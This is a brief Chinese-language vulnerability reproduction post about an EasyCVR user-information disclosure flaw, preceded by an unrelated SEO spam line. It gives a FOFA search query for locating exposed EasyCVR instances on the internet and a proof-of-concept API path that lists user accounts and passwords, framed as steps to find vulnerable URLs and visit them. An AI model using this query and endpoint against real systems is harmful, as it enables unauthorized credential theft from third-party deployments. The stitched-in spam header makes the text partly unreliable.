在线crm百科上海关键词排名优化公司

一：漏洞描述

EasyCVR 部分版本存在用户信息泄露漏洞，攻击者可直接通过此漏洞获取所有用户的账号密码。

二：fofa查询

title="EasyCVR"

三：漏洞复现

在fofa中寻找有漏洞的url

并访问

poc:/api/v1/userlist?pageindex=0&pagesize=10

我们可以查看到用户的一些信息